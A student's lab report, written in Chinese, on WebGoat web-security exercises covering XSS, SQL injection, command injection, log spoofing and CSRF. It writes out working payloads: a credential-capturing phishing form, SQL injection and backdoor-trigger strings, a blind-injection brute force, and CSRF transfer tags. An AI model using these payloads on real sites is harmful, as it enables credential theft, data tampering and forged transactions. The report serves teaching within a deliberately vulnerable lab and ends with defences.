2018-2019-2 網絡對抗技術 20165231 Exp9 Web安全基礎

實驗內容

本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。javascript

實驗過程

WebGoat: Webgoat是OWASP組織研究出的一個專門進行web漏洞實驗的應用品臺,這個平臺裏包含了web中常見的各類漏洞,例如:跨站腳本攻擊、sql注入、訪問控制、隱藏字段、Cookie等;
首先下載WebGoat
wget https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar
輸入java -jar webgoat-container-7.1-exec.jar命令打開WebGoat
 html

在瀏覽器上對WebGoat進行訪問。
地址localhost:8080/WebGoat

而後使用默認用各戶guest和默認密碼guest登錄java

Cross-Site Scripting (XSS)

Phishing with XSS(釣魚攻擊)

search部分填寫一個頁面,用於釣魚git

<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script>
<form name="phish">
<br>
<br>
<HR>
    <H2>please input your information here:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

點擊search後github

隨便輸入用戶名和密碼

登錄後,會發現 頁面填寫的信息已經被捕獲而且反饋回來顯示在頁面上。web


Stored XSS Attacks

XSS攻擊代碼存儲於數據庫中,每次當用戶打開此網頁時便會執行,危害大,經常使用語留言板,每次當用戶查看留言信息時即觸發。致使用戶訪問時載入非預期的頁面或內容。sql

在Title中隨便輸入數據庫

在Message中輸入<script>alert(" you have been attacked by wyhy !!");</script>瀏覽器

點擊submit建立帖子後:安全

點擊上面的鏈接,攻擊成功。

Reflected XSS Attacks(反射型XSS)

非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
當未驗證的用戶輸入用在HTTP響應時會發生XSS。在一個反射XSS攻擊中,攻擊者可使用攻擊腳本製造一個URL,而後提交到另外一個網站、發郵件或讓受害者點擊。

Injection Flaws

Command Injection

命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能形成大範圍的損害,危及系統安全。儘管這類風險數目使人難以置信,互聯網中的系統很容易受到這種形式的攻擊。

啓動WebScarab。在課程頁面的下拉列表中任意選擇一個頁面,而後點「View"

在所請求的頁面處添加"&netstat -an & ipconfig"。而後再點擊view進行查看。

查看到網絡端口使用的狀況和IP地址。

Numeric SQL Injection(數字型SQL注入)

在station字段中注入特徵字符,能組合成新的SQL語句。
SELECT * FROM weather_data WHERE station=[station]

下面的表單容許用戶查看天氣數據。經過注入SQL字符串的方式查看全部的天氣數據

選擇一個城市,點「GO」

在編號後面添加「or 1=1」,肯定

添加後點擊GO,就可以看到全部城市的天氣數據

日誌欺騙(Log Spoofing)

這種攻擊時在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。

在Username輸入wyhy%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符。

如圖,攻擊成功。

String SQL Injection

LAB: SQL Injection(SQL注入)

Stage1:String SQL Injection
使用SQL注入繞過認證。

以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,可是登陸失敗。
使用inspect element查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符,將8改成40

而後就能夠登錄了

Stage3:Numeric SQL Injection
該課程的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶,瀏覽其BOSS的帳戶信息。

點擊ViewProfile瀏覽員工信息

將員工信息的value值改成101 or 1=1 order by salary desc --
這樣根據工資高低的排名,老闆的信息就會被排到第一個。

Database Backdoors(數據庫後門)

輸入101,獲得了該用戶的信息:

輸入的語句沒有驗證,很容易進行SQL注入。若要執行兩個語句,中間須要用分號分隔。輸入注入語句101;update employee set salary=90000

使用如下查詢條件,添加觸發器:
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='wyhy-1997@foxmail.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection(數字型盲注入)

目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲int,整型。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin數值是否大於10000

一直嘗試 5000、2500,到1250發現提示變爲帳戶有效

打開BurpSuite,設置代理proxyoptions

將端口號改成5231,點擊add,ok

設置瀏覽器的代理,打開瀏覽器右側的「更多」,依次點擊preference->advanced->natwork->settings,選擇下圖所示代理,端口號爲本身剛剛設置的端口號。

當於將burpsuite當成中間服務器,每一個數據包都流過它。。返回題目,點擊go,返回BurpSuite,已經抓好包。

在Positions中,選擇Sniper模式,在Payloads中,選擇type類型爲number,而後設置變化範圍2250-2500,並設置步長爲1,在Options中,選擇Start attack開始攻擊。



找到數據包大小變化的值爲2364

在WebGoat中帶入2364,正確。

CSRF

Cross Site Request Forgery(CSRF)

能夠經過在右邊插入的參數中找到「屏幕」和「菜單」值來構建連接。當時被認證的CSRF郵件的收件人將轉移他們的資金。當這一課的攻擊成功時,左邊的菜單旁邊出現一個綠色的複選標記。

在message中輸入<img src='attack?Screen=273&menu=900&transferFunds=5000' width='1' height='1'>

screen的值和menu的值是由上圖獲得的。而後經過寬高設置成1像素,隱藏掉這個圖片。

提交後會在消息列表中看到新的消息

點擊後會加載下面這條消息,達到CSRF攻擊的目的

CSRF Prompt By-Pass

在Title輸入:5231
在Message輸入:

"attack?Screen=273&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

獲得以下結果:

實驗後回答問題

(1)SQL注入攻擊原理,如何防護
原理:利用現有應用程序,將惡意的SQL命令注入到後臺數據庫引擎執行的能力。經過在Web表單中輸入惡意SQL語句獲得一個存在安全漏洞的網站上的數據庫,最終達到欺騙服務器執行惡意的SQL命令。

防護:以SQL注入爲例,能夠經過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入做爲一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入做爲一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。

(2)XSS攻擊的原理,如何防護
原理:XSS攻擊是Web攻擊中最多見的攻擊方法之一,它是經過對網頁注入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,造成了一次有效XSS攻擊,一旦攻擊成功,它能夠獲取用戶的聯繫人列
表,而後向聯繫人發送虛假詐騙信息,能夠刪除用戶的日誌等等。

防護:在表單提交或者url參數傳遞前,對須要的參數進行過濾。過濾用戶輸入的檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。嚴格控制輸出

(3)CSRF攻擊原理,如何防護
原理:CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.

防護: 驗證HTTP Referer字段。
在請求地址中添加token並驗證。
在HTTP頭中自定義屬性並驗證。

實驗感想

最後一次實驗了,真的是又長又難。首先安裝WebGoat就廢了很大勁,最後參考這篇博客完成安裝可使用

相關文章
相關標籤/搜索